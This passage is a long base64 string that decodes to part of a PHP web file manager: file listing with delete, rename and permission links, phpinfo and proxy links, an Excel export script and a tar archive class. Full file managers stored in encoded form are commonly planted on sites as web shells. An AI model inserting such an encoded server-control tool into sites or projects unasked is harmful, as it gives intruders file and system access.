dBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZGlyZWN0b3J5IChyZWN1cnNpdmVseSk/JykuJ1xuIC8nLiAkZmlsZS4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXCciJzsgZWxzZSAkYWxlcnQgPSAnJzsNCiAgICB9IGVsc2Ugew0KCQkkbGluayA9IA0KCQkJJGZtX2NvbmZpZ1snc2hvd19pbWcnXSYmQGdldGltYWdlc2l6ZSgkZmlsZW5hbWUpIA0KCQkJPyAnPGEgdGFyZ2V0PSJfYmxhbmsiIG9uY2xpY2s9InZhciBsZWZ0byA9IHNjcmVlbi5hdmFpbFdpZHRoLzItMzIwO3dpbmRvdy5vcGVuKFwnJw0KCQkJLiBmbV9pbWdfbGluaygkZmlsZW5hbWUpDQoJCQkuJ1wnLFwncG9wdXBcJyxcJ3dpZHRoPTY0MCxoZWlnaHQ9NDgwLGxlZnQ9XCcgKyBsZWZ0byArIFwnLHNjcm9sbGJhcnM9eWVzLHRvb2xiYXI9bm8sbG9jYXRpb249bm8sZGlyZWN0b3JpZXM9bm8sc3RhdHVzPW5vXCcpO3JldHVybiBmYWxzZTsiIGhyZWY9IicuZm1faW1nX2xpbmsoJGZpbGVuYW1lKS4nIj48c3BhbiBjbGFzcz0iaW1nIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGUuJzwvYT4nDQoJCQk6ICc8YSBocmVmPSInIC4gJHVybF9pbmMgLiAnJmVkaXQ9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aC4gJyIgdGl0bGU9IicgLiBfXygnRWRpdCcpIC4gJyI+PHNwYW4gY2xhc3M9ImZpbGUiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj4gJy4kZmlsZS4nPC9hPic7DQoJCSRlX2FyciA9IGV4cGxvZGUoIi4iLCAkZmlsZSk7DQoJCSRleHQgPSBlbmQoJGVfYXJyKTsNCiAgICAgICAgJGxvYWRsaW5rID0gIGZtX2xpbmsoJ2Rvd25sb2FkJywkZmlsZW5hbWUsX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZmlsZSk7DQoJCSRhcmxpbmsgPSBpbl9hcnJheSgkZXh0LGFycmF5KCd6aXAnLCdneicsJ3RhcicpKSANCgkJPyAnJw0KCQk6ICgoZm1fcm9vdCgkZmlsZSl8fCRwaGFyX21heWJlKSA/ICcnIDogZm1fbGluaygnZ3pmaWxlJywkZmlsZW5hbWUsX18oJ0NvbXByZXNzJykuJyZuYnNwOy50YXIuZ3onLF9fKCdBcmNoaXZpbmcnKS4nICcuICRmaWxlKSk7DQogICAgICAgICRzdHlsZSA9ICdyb3cxJzsNCgkJJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxuJy4gJGZpbGUuICcuIFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXCcpKSBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXCcnIC4gJHVybF9pbmMgLiAnJmRlbGV0ZT0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcJyInOw0KICAgIH0NCiAgICAkZGVsZXRlbGluayA9IGZtX3Jvb3QoJGZpbGUpID8gJycgOiAnPGEgaHJlZj0iIyIgdGl0bGU9IicgLiBfXygnRGVsZXRlJykgLiAnICcuICRmaWxlIC4gJyIgJyAuICRhbGVydCAuICc+JyAuIF9fKCdEZWxldGUnKSAuICc8L2E+JzsNCiAgICAkcmVuYW1lbGluayA9IGZtX3Jvb3QoJGZpbGUpID8gJycgOiAnPGEgaHJlZj0iJyAuICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAuICciIHRpdGxlPSInIC4gX18oJ1JlbmFtZScpIC4nICcuICRmaWxlIC4gJyI+JyAuIF9fKCdSZW5hbWUnKSAuICc8L2E+JzsNCiAgICAkcmlnaHRzdGV4dCA9ICgkZmlsZT09Jy4nIHx8ICRmaWxlPT0nLi4nKSA/ICcnIDogJzxhIGhyZWY9IicgLiAkdXJsX2luYyAuICcmcmlnaHRzPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggLiAnIiB0aXRsZT0iJyAuIF9fKCdSaWdodHMnKSAuJyAnLiAkZmlsZSAuICciPicgLiBAZm1fcmlnaHRzX3N0cmluZygkZmlsZW5hbWUpIC4gJzwvYT4nOw0KPz4NCjx0ciBjbGFzcz0iPD89JHN0eWxlPz4iPiANCiAgICA8dGQ+PD89JGxpbms/PjwvdGQ+DQogICAgPHRkPjw/PSRmaWxlZGF0YVs3XT8+PC90ZD4NCiAgICA8dGQgc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+PD89Z21kYXRlKCJZLW0tZCBIOmk6cyIsJGZpbGVkYXRhWzldKT8+PC90ZD4NCiAgICA8dGQ+PD89JHJpZ2h0c3RleHQ/PjwvdGQ+DQogICAgPHRkPjw/PSRkZWxldGVsaW5rPz48L3RkPg0KICAgIDx0ZD48Pz0kcmVuYW1lbGluaz8+PC90ZD4NCiAgICA8dGQ+PD89JGxvYWRsaW5rPz48L3RkPg0KICAgIDx0ZD48Pz0kYXJsaW5rPz48L3RkPg0KPC90cj4NCjw/cGhwDQogICAgfQ0KfQ0KPz4NCjwvdGJvZHk+DQo8L3RhYmxlPg0KPGRpdiBjbGFzcz0icm93MyI+PD9waHANCgkkbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOyANCgkkdG90YWx0aW1lID0gJG10aW1lWzBdICsgJG10aW1lWzFdIC0gJHN0YXJ0dGltZTsgDQoJZWNobyBmbV9ob21lKCkuJyB8IHZlci4gJy4kZm1fdmVyc2lvbi4nIHwgPGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL0RlbjF4eHgvRmlsZW1hbmFnZXIiPkdpdGh1YjwvYT4gIHwgPGEgaHJlZj0iJy5mbV9zaXRlX3VybCgpLiciPi48L2E+JzsNCglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfcGhwX3ZlciddKSkgZWNobyAnIHwgUEhQICcucGhwdmVyc2lvbigpOw0KCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19waHBfaW5pJ10pKSBlY2hvICcgfCAnLnBocF9pbmlfbG9hZGVkX2ZpbGUoKTsNCglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfZ3QnXSkpIGVjaG8gJyB8ICcuX18oJ0dlbmVyYXRpb24gdGltZScpLic6ICcucm91bmQoJHRvdGFsdGltZSwyKTsNCglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9wcm94eSddKSkgZWNobyAnIHwgPGEgaHJlZj0iP3Byb3h5PXRydWUiPnByb3h5PC9hPic7DQoJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3BocGluZm8nXSkpIGVjaG8gJyB8IDxhIGhyZWY9Ij9waHBpbmZvPXRydWUiPnBocGluZm88L2E+JzsNCglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfeGxzJ10pJiYhZW1wdHkoJGxpbmspKSBlY2hvICcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OiB2b2lkKDApIiBvbmNsaWNrPSJ2YXIgb2JqID0gbmV3IHRhYmxlMkV4Y2VsKCk7IG9iai5DcmVhdGVFeGNlbFNoZWV0KFwnZm1fdGFibGVcJyxcJ2V4cG9ydFwnKTsiIHRpdGxlPSInLl9fKCdEb3dubG9hZCcpLicgeGxzIj54bHM8L2E+JzsNCglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3NldHRpbmdzJ10pKSBlY2hvICcgfCA8YSBocmVmPSI/Zm1fc2V0dGluZ3M9dHJ1ZSI+Jy5fXygnU2V0dGluZ3MnKS4nPC9hPic7DQoJPz4NCjwvZGl2Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gZG93bmxvYWRfeGxzKGZpbGVuYW1lLCB0ZXh0KSB7DQoJdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7DQoJZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2hyZWYnLCAnZGF0YTphcHBsaWNhdGlvbi92bmQubXMtZXhjZWw7YmFzZTY0LCcgKyB0ZXh0KTsNCgllbGVtZW50LnNldEF0dHJpYnV0ZSgnZG93bmxvYWQnLCBmaWxlbmFtZSk7DQoJZWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZWxlbWVudCk7DQoJZWxlbWVudC5jbGljaygpOw0KCWRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZWxlbWVudCk7DQp9DQoNCmZ1bmN0aW9uIGJhc2U2NF9lbmNvZGUobSkgew0KCWZvciAodmFyIGsgPSAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLyIuc3BsaXQoIiIpLCBjLCBkLCBoLCBlLCBhLCBnID0gIiIsIGIgPSAwLCBmLCBsID0gMDsgbCA8IG0ubGVuZ3RoOyArK2wpIHsNCgkJYyA9IG0uY2hhckNvZGVBdChsKTsNCgkJaWYgKDEyOCA+IGMpIGQgPSAxOw0KCQllbHNlDQoJCQlmb3IgKGQgPSAyOyBjID49IDIgPDwgNSAqIGQ7KSArK2Q7DQoJCWZvciAoaCA9IDA7IGggPCBkOyArK2gpIDEgPT0gZCA/IGUgPSBjIDogKGUgPSBoID8gMTI4IDogMTkyLCBhID0gZCAtIDIgLSA2ICogaCwgMCA8PSBhICYmIChlICs9ICg2IDw9IGEgPyAxIDogMCkgKyAoNSA8PSBhID8gMiA6IDApICsgKDQgPD0gYSA/IDQgOiAwKSArICgzIDw9IGEgPyA4IDogMCkgKyAoMiA8PSBhID8gMTYgOiAwKSArICgxIDw9IGEgPyAzMiA6IDApLCBhIC09IDUpLCAwID4gYSAmJiAodSA9IDYgKiAoZCAtIDEgLSBoKSwgZSArPSBjID4+IHUsIGMgLT0gYyA+PiB1IDw8IHUpKSwgZiA9IGIgPyBmIDw8IDYgLSBiIDogMCwgYiArPSAyLCBmICs9IGUgPj4gYiwgZyArPSBrW2ZdLCBmID0gZSAlICgxIDw8IGIpLCA2ID09IGIgJiYgKGIgPSAwLCBnICs9IGtbZl0pDQoJfQ0KCWIgJiYgKGcgKz0ga1tmIDw8IDYgLSBiXSk7DQoJcmV0dXJuIGcNCn0NCg0KDQp2YXIgdGFibGVUb0V4Y2VsRGF0YSA9IChmdW5jdGlvbigpIHsNCiAgICB2YXIgdXJpID0gJ2RhdGE6YXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsO2Jhc2U2NCwnLA0KICAgIHRlbXBsYXRlID0gJzxodG1sIHhtbG5zOm89InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSIgeG1sbnM6eD0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6ZXhjZWwiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy9UUi9SRUMtaHRtbDQwIj48aGVhZD48IS0tW2lmIGd0ZSBtc28gOV0+PHhtbD48eDpFeGNlbFdvcmtib29rPjx4OkV4Y2VsV29ya3NoZWV0cz48eDpFeGNlbFdvcmtzaGVldD48eDpOYW1lPnt3b3Jrc2hlZXR9PC94Ok5hbWU+PHg6V29ya3NoZWV0T3B0aW9ucz48eDpEaXNwbGF5R3JpZGxpbmVzPjwveDpEaXNwbGF5R3JpZGxpbmVzPjwveDpXb3Jrc2hlZXRPcHRpb25zPjwveDpFeGNlbFdvcmtzaGVldD48L3g6RXhjZWxXb3Jrc2hlZXRzPjwveDpFeGNlbFdvcmtib29rPjwveG1sPjwhW2VuZGlmXS0tPjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9wbGFpbjsgY2hhcnNldD1VVEYtOCIvPjwvaGVhZD48Ym9keT48dGFibGU+e3RhYmxlfTwvdGFibGU+PC9ib2R5PjwvaHRtbD4nLA0KICAgIGZvcm1hdCA9IGZ1bmN0aW9uKHMsIGMpIHsNCiAgICAgICAgICAgIHJldHVybiBzLnJlcGxhY2UoL3soXHcrKX0vZywgZnVuY3Rpb24obSwgcCkgew0KICAgICAgICAgICAgICAgIHJldHVybiBjW3BdOw0KICAgICAgICAgICAgfSkNCiAgICAgICAgfQ0KICAgIHJldHVybiBmdW5jdGlvbih0YWJsZSwgbmFtZSkgew0KICAgICAgICBpZiAoIXRhYmxlLm5vZGVUeXBlKSB0YWJsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYmxlKQ0KICAgICAgICB2YXIgY3R4ID0gew0KICAgICAgICAgICAgd29ya3NoZWV0OiBuYW1lIHx8ICdXb3Jrc2hlZXQnLA0KICAgICAgICAgICAgdGFibGU6IHRhYmxlLmlubmVySFRNTC5yZXBsYWNlKC88c3BhbiguKj8pXC9zcGFuPiAvZywiIikucmVwbGFjZSgvPGFcYltePl0qPiguKj8pPFwvYT4vZywiJDEiKQ0KICAgICAgICB9DQoJCXQgPSBuZXcgRGF0ZSgpOw0KCQlmaWxlbmFtZSA9ICdmbV8nICsgdC50b0lTT1N0cmluZygpICsgJy54bHMnDQoJCWRvd25sb2FkX3hscyhmaWxlbmFtZSwgYmFzZTY0X2VuY29kZShmb3JtYXQodGVtcGxhdGUsIGN0eCkpKQ0KICAgIH0NCn0pKCk7DQoNCnZhciB0YWJsZTJFeGNlbCA9IGZ1bmN0aW9uICgpIHsNCg0KICAgIHZhciB1YSA9IHdpbmRvdy5uYXZpZ2F0b3IudXNlckFnZW50Ow0KICAgIHZhciBtc2llID0gdWEuaW5kZXhPZigiTVNJRSAiKTsNCg0KCXRoaXMuQ3JlYXRlRXhjZWxTaGVldCA9IA0KCQlmdW5jdGlvbihlbCwgbmFtZSl7DQoJCQlpZiAobXNpZSA+IDAgfHwgISFuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9UcmlkZW50Lipydlw6MTFcLi8pKSB7Ly8gSWYgSW50ZXJuZXQgRXhwbG9yZXINCg0KCQkJCXZhciB4ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZWwpLnJvd3M7DQoNCgkJCQl2YXIgeGxzID0gbmV3IEFjdGl2ZVhPYmplY3QoIkV4Y2VsLkFwcGxpY2F0aW9uIik7DQoNCgkJCQl4bHMudmlzaWJsZSA9IHRydWU7DQoJCQkJeGxzLldvcmtib29rcy5BZGQNCgkJCQlmb3IgKGkgPSAwOyBpIDwgeC5sZW5ndGg7IGkrKykgew0KCQkJCQl2YXIgeSA9IHhbaV0uY2VsbHM7DQoNCgkJCQkJZm9yIChqID0gMDsgaiA8IHkubGVuZ3RoOyBqKyspIHsNCgkJCQkJCXhscy5DZWxscyhpICsgMSwgaiArIDEpLlZhbHVlID0geVtqXS5pbm5lclRleHQ7DQoJCQkJCX0NCgkJCQl9DQoJCQkJeGxzLlZpc2libGUgPSB0cnVlOw0KCQkJCXhscy5Vc2VyQ29udHJvbCA9IHRydWU7DQoJCQkJcmV0dXJuIHhsczsNCgkJCX0gZWxzZSB7DQoJCQkJdGFibGVUb0V4Y2VsRGF0YShlbCwgbmFtZSk7DQoJCQl9DQoJCX0NCn0NCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg0KDQo8P3BocA0KLy9Qb3J0ZWQgZnJvbSBSZWxvYWRDTVMgcHJvamVjdCBodHRwOi8vcmVsb2FkY21zLmNvbQ0KY2xhc3MgYXJjaGl2ZVRhciB7DQoJdmFyICRhcmNoaXZlX25hbWUgPSAnJzsNCgl2YXIgJHRtcF9maWxlID0gMDsNCgl2YXIgJGZpbGVfcG9zID0gMDsNCgl2YXIgJGlzR3ppcHBlZCA9IHRydWU7DQoJdmFyICRlcnJvcnMgPSBhcnJheSgpOw0KCXZhciAkZmlsZXMgPSBhcnJheSgpOw0KCQ0KCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7DQoJCWlmICghaXNzZXQoJHRoaXMtPmVycm9ycykpICR0aGlzLT5lcnJvcnMgPSBhcnJheSgpOw0KCX0NCgkNCglmdW5jdGlvbiBjcmVhdGVBcmNoaXZlKCRmaWxlX2xpc3Qpew0KCQkkcmVzdWx0ID0gZmFsc2U7DQoJCWlmIChmaWxlX2V4aXN0cygkdGhpcy0+YXJjaGl2ZV9uYW1lKSAmJiBpc19maWxlKCR0aGlzLT5hcmNoaXZlX25hbWUpKSAJJG5ld0FyY2hpdmUgPSBmYWxzZTsNCgkJZWxzZSAkbmV3QXJjaGl2ZSA9IHRydWU7DQoJCWlmICgkbmV3QXJjaGl2ZSl7DQoJCQlpZiAoISR0aGlzLT5vcGVuV3JpdGUoKSkgcmV0dXJuIGZhbHNlOw0KCQl9IGVsc2Ugew0KCQkJaWYgKGZpbGVzaXplKCR0aGlzLT5hcmNoaXZlX25hbWUpID09IDApCXJldHVybiAkdGhpcy0+b3BlbldyaXRlKCk7DQoJCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkgew0KCQkJCSR0aGlzLT5jbG9zZVRtcEZpbGUoKTsNCgkJCQlpZiAoIXJlbmFtZSgkdGhpcy0+YXJjaGl2ZV9uYW1lLCAkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wJykpew0KCQkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHJlbmFtZScpLicgJy4kdGhpcy0+YXJjaGl2ZV9uYW1lLl9fKCcgdG8gJykuJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCc7DQoJCQkJCXJldHVybiBmYWxzZTsNCgkJCQl9DQoJCQkJJHRtcEFyY2hpdmUgPSBnem9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCcsICdyYicpOw0KCQkJCWlmICghJHRtcEFyY2hpdmUpew0KCQkJCQkkdGhpcy0+ZXJyb3JzW10gPSAkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wICcuX18oJ2lzIG5vdCByZWFkYWJsZScpOw0KCQkJCQlyZW5hbWUoJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCcsICR0aGlzLT5hcmNoaXZlX25hbWUpOw0KCQkJCQlyZXR1cm4gZmFsc2U7DQoJCQkJfQ0KCQkJCWlmICghJHRoaXMtPm9wZW5Xcml0ZSgpKXsNCgkJCQkJcmVuYW1lKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZV9uYW1lKTsNCgkJCQkJcmV0dXJuIGZhbHNlOw0KCQkJCX0NCgkJCQkkYnVmZmVyID0gZ3pyZWFkKCR0bXBBcmNoaXZlLCA1MTIpOw0KCQkJCWlmICghZ3plb2YoJHRtcEFyY2hpdmUpKXsNCgkJCQkJZG8gew0KCQkJCQkJJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7DQoJCQkJCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7DQoJCQkJCQkkYnVmZmVyID0gZ3pyZWFkKCR0bXBBcmNoaXZlLCA1MTIpOw0KCQkJCQl9DQoJCQkJCXdoaWxlICghZ3plb2YoJHRtcEFyY2hpdmUpKTsNCgkJCQl9DQoJCQkJZ3pjbG9zZSgkdG1wQXJjaGl2ZSk7DQoJCQkJdW5saW5rKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnKTsNCgkJCX0gZWxzZSB7DQoJCQkJJHRoaXMtPnRtcF9maWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZSwgJ3IrYicpOw0KCQkJCWlmICghJHRoaXMtPnRtcF9maWxlKQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCX0NCgkJaWYgKGlzc2V0KCRmaWxlX2xpc3QpICYmIGlzX2FycmF5KCRmaWxlX2xpc3QpKSB7DQoJCWlmIChjb3VudCgkZmlsZV9saXN0KT4wKQ0KCQkJJHJlc3VsdCA9ICR0aGlzLT5wYWNrRmlsZUFycmF5KCRmaWxlX2xpc3QpOw0KCQl9IGVsc2UgJHRoaXMtPmVycm9yc1tdID0gX18oJ05vIGZpbGUnKS5fXygnIHRvICcpLl9fKCdBcmNoaXZlJyk7DQoJCWlmICgoJHJlc3VsdCkmJihpc19yZXNvdXJjZSgkdGhpcy0+dG1wX2ZpbGUpKSl7DQoJCQkkYmluYXJ5RGF0YSA9IHBhY2soJ2E1MTInLCAnJyk7DQoJCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7DQoJCX0NCgkJJHRoaXMtPmNsb3NlVG1wRmlsZSgpOw0KCQlpZiAoJG5ld0FyY2hpdmUgJiYgISRyZXN1bHQpew0KCQkkdGhpcy0+Y2xvc2VUbXBGaWxlKCk7DQoJCXVubGluaygkdGhpcy0+YXJjaGl2ZV9uYW1lKTsNCgkJfQ0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9DQoNCglmdW5jdGlvbiByZXN0b3JlQXJjaGl2ZSgkcGF0aCl7DQoJCSRmaWxlTmFtZSA9ICR0aGlzLT5hcmNoaXZlX25hbWU7DQoJCWlmICghJHRoaXMtPmlzR3ppcHBlZCl7DQoJCQlpZiAoZmlsZV9leGlzdHMoJGZpbGVOYW1lKSl7DQoJCQkJaWYgKCRmcCA9IGZvcGVuKCRmaWxlTmFtZSwgJ3JiJykpew0KCQkJCQkkZGF0YSA9IGZyZWFkKCRmcCwgMik7DQoJCQkJCWZjbG9zZSgkZnApOw0KCQkJCQlpZiAoJGRhdGEgPT0gJ1wzN1wyMTMnKXsNCgkJCQkJCSR0aGlzLT5pc0d6aXBwZWQgPSB0cnVlOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZWlmICgoc3Vic3RyKCRmaWxlTmFtZSwgLTIpID09ICdneicpIE9SIChzdWJzdHIoJGZpbGVOYW1lLCAtMykgPT0gJ3RneicpKSAkdGhpcy0+aXNHemlwcGVkID0gdHJ1ZTsNCgkJfSANCgkJJHJlc3VsdCA9IHRydWU7DQoJCWlmICgkdGhpcy0+aXNHemlwcGVkKSAkdGhpcy0+dG1wX2ZpbGUgPSBnem9wZW4oJGZpbGVOYW1lLCAncmInKTsNCgkJZWxzZSAkdGhpcy0+dG1wX2ZpbGUgPSBmb3BlbigkZmlsZU5hbWUsICdyYicpOw0KCQlpZiAoISR0aGlzLT50bXBfZmlsZSl7DQoJCQkkdGhpcy0+ZXJyb3JzW10gPSAkZmlsZU5hbWUuJyAnLl9fKCdpcyBub3QgcmVhZGFibGUnKTsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQkkcmVzdWx0ID0gJHRoaXMtPnVucGFja0ZpbGVBcnJheSgkcGF0aCk7DQoJCQkkdGhpcy0+Y2xvc2VUbXBGaWxlKCk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX0NCg0KCWZ1bmN0aW9uIHNob3dFcnJvcnMJKCRtZXNzYWdlID0gJycpIHsNCgkJJEVycm9ycyA9ICR0aGlzLT5lcnJvcnM7DQoJCWlmKGNvdW50KCRFcnJvcnMpPjApIHsNCgkJaWYgKCFlbXB0eSgkbWVzc2FnZSkpICRtZXNzYWdlID0gJyAoJy4kbWVzc2FnZS4nKSc7DQoJCQkkbWVzc2FnZSA9IF9fKCdFcnJvciBvY2N1cnJlZCcpLiRtZXNzYWdlLic6IDxici8+JzsNCgkJCWZvcmVhY2ggKCRFcnJvcnMgYXMgJHZhbHVlKQ0KCQkJCSRtZXNzYWdlIC49ICR2YWx1ZS4nPGJyLz4nOw0KCQkJcmV0dXJuICRtZXNzYWdlOwkNCgkJfSBlbHNlIHJldHVybiAnJzsNCgkJDQoJfQ0KCQ0KCWZ1bmN0aW9uIHBhY2tGaWxlQXJyYXkoJGZpbGVfYXJyYXkpew0KCQkkcmVzdWx0ID0gdHJ1ZTsNCgkJaWYgKCEkdGhpcy0+dG1wX2ZpbGUpew0KCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0ludmFsaWQgZmlsZSBkZXNjcmlwdG9yJyk7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJaWYgKCFpc19hcnJheSgkZmlsZV9hcnJheSkgfHwgY291bnQoJGZpbGVfYXJyYXkpPD0wKQ0KICAgICAgICAgIHJldHVybiB0cnVlOw0KCQlmb3IgKCRpID0gMDsgJGk8Y291bnQoJGZpbGVfYXJyYXkpOyAkaSsrKXsNCgkJCSRmaWxlbmFtZSA9ICRmaWxlX2FycmF5WyRpXTsNCgkJCWlmICgkZmlsZW5hbWUgPT0gJHRoaXMtPmFyY2hpdmVfbmFtZSkNCgkJCQljb250aW51ZTsNCgkJCWlmIChzdHJsZW4oJGZpbGVuYW1lKTw9MCkNCgkJCQljb250aW51ZTsNCgkJCWlmICghZmlsZV9leGlzdHMoJGZpbGVuYW1lKSl7DQoJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ05vIGZpbGUnKS4nICcuJGZpbGVuYW1lOw0KCQkJCWNvbnRpbnVlOw0KCQkJfQ0KCQkJaWYgKCEkdGhpcy0+dG1wX2ZpbGUpew0KCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0ludmFsaWQgZmlsZSBkZXNjcmlwdG9yJyk7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCWlmIChzdHJsZW4oJGZpbGVuYW1lKTw9MCl7DQoJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnRmlsZW5hbWUnKS4nICcuX18oJ2lzIGluY29ycmVjdCcpOzsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQkkZmlsZW5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRmaWxlbmFtZSk7DQoJCSRrZWVwX2ZpbGVuYW1lID0gJHRoaXMtPm1ha2VHb29kUGF0aCgkZmlsZW5hbWUpOw0KCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJCWlmICgoJGZpbGUgPSBmb3BlbigkZmlsZW5hbWUsICdyYicpKSA9PSAwKXsNCgkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnTW9kZSAnKS5fXygnaXMgaW5jb3JyZWN0Jyk7DQoJCQl9DQoJCQkJaWYoKCR0aGlzLT5maWxlX3BvcyA9PSAwKSl7DQoJCQkJCWlmKCEkdGhpcy0+d3JpdGVIZWFkZXIoJGZpbGVuYW1lLCAka2VlcF9maWxlbmFtZSkpDQoJCQkJCQlyZXR1cm4gZmFsc2U7DQoJCQkJfQ0KCQkJCXdoaWxlICgoJGJ1ZmZlciA9IGZyZWFkKCRmaWxlLCA1MTIpKSAhPSAnJyl7DQoJCQkJCSRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpOw0KCQkJCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7DQoJCQkJfQ0KCQkJZmNsb3NlKCRmaWxlKTsNCgkJfQllbHNlICR0aGlzLT53cml0ZUhlYWRlcigkZmlsZW5hbWUsICRrZWVwX2ZpbGVuYW1lKTsNCgkJCWlmIChAaXNfZGlyKCRmaWxlbmFtZSkpew0KCQkJCWlmICghKCRoYW5kbGUgPSBvcGVuZGlyKCRmaWxlbmFtZSkpKXsNCgkJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Vycm9yJykuJzogJy5fXygnRGlyZWN0b3J5ICcpLiRmaWxlbmFtZS5fXygnaXMgbm90IHJlYWRhYmxlJyk7DQoJCQkJCWNvbnRpbnVlOw0KCQkJCX0NCgkJCQl3aGlsZSAoZmFsc2UgIT09ICgkZGlyID0gcmVhZGRpcigkaGFuZGxlKSkpew0KCQkJCQlpZiAoJGRpciE9Jy4nICYmICRkaXIhPScuLicpew0KCQkJCQkJJGZpbGVfYXJyYXlfdG1wID0gYXJyYXkoKTsNCgkJCQkJCWlmICgkZmlsZW5hbWUgIT0gJy4nKQ0KCQkJCQkJCSRmaWxlX2FycmF5X3RtcFtdID0gJGZpbGVuYW1lLicvJy4kZGlyOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCSRmaWxlX2FycmF5X3RtcFtdID0gJGRpcjsNCg0KCQkJCQkJJHJlc3VsdCA9ICR0aGlzLT5wYWNrRmlsZUFycmF5KCRmaWxlX2FycmF5X3RtcCk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJdW5zZXQoJGZpbGVfYXJyYXlfdG1wKTsNCgkJCQl1bnNldCgkZGlyKTsNCgkJCQl1bnNldCgkaGFuZGxlKTsNCgkJCX0NCgkJfQ0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9DQoNCglmdW5jdGlvbiB1bnBhY2tGaWxlQXJyYXkoJHBhdGgpeyANCgkJJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsNCgkJaWYgKCRwYXRoID09ICcnCXx8IChzdWJzdHIoJHBhdGgsIDAsIDEpICE9ICcvJyAmJiBzd